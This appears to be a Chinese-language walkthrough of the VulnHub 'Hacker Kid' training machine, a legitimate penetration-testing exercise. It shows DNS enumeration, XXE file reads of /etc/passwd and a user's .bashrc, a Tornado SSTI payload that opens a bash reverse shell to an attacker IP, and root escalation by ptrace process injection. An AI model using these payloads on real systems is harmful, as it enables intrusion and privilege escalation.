Hacker kid:1.0.1
原博客地址:https://www.cnblogs.com/upfine/p/17026653.html
项目地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova(占用太大,懒得下)
是一个打包好的镜像文件
注意:导入 ovf 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本

XXE
Create Account
打开 80 端口,提示信息告诉我们使用 Dig(域名查询工具)去继续挖掘

在其源代码信息中看到提示信息:Use a GET parameter page_no to view pages,告诉我们使用 page_no 参数来访问当前页面

使用 page_no(根据参数名猜测参数应该是页数)参数访问当前页面:http://192.168.5.240/?page_no=1 获得返回提示信息

使用 BP 得爆破模块当 page_no=21 时,获得提示信息,告诉我们一个域名:hackers.blackhat.local

结合刚才让我们使用 Dig 继续挖掘得信息,这里配合域名:hackers.blackhat.local 进行挖掘
1 | dig hackers.blackhat.local @192.168.5.240 |
发现新的域名:hackerkid.blackhat.local

在本机和 Kali 中配置下 DNS 解析

配置完成后访问 http://hackerkid.blackhat.local/ 出现一个注册界面,但是注册时一直显示邮箱存在问题

使用 BP 进行抓包分析,发现数据是以 xml 格式发送得数据,那猜测这里可能存在 XXE 注入,测试 XXE 注入读取下 /etc/passwd 文件,发现账户名:saket

尝试读取下当前用户下得其他文件,命令
1 | php://filter/convert.base64-encode/resource=/home/saket/.bashrc |

成功获取到 .bashc 文件信息,对返回的信息进行解密,获得一组账户和密码信息:admin/Saket!#$%@!!

SSTI
name
使用获得账户名和信息进行登录,但是 admin/Saket!#$%@!! 登录失败,然后尝试了下 /etc/passwd 文件中发现得 saket 账户进行登录,登录成功

结合前面扫描出来的信息知道这里是 Tornado 框架,因此猜测这里可能存在 SSTI 注入,测试 ?name={{3*3}},代码被执行,因此这里存在 SSTI 注入漏洞

利用 SSTI 注入反弹 Shell
1 | {% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/172.18.8.120/6688 0>&1"')}} |

提权
Capabilities 提权
在收集的信息中发现在历史命令中利用 python2.7 执行了一个脚本,然后使用 nc 开启了一个端口监听

发现该脚本具有 cap_sys_ptrace+ep 能力,允许程序读写其他进程的内存,可用于注入代码

编写脚本寻找 root 进程
1 | for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done |
然后使用命令来进行进程注入,然后在本地使用 nc 进行 5600 端口的连接,成功获得 root 权限
脚本链接:https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
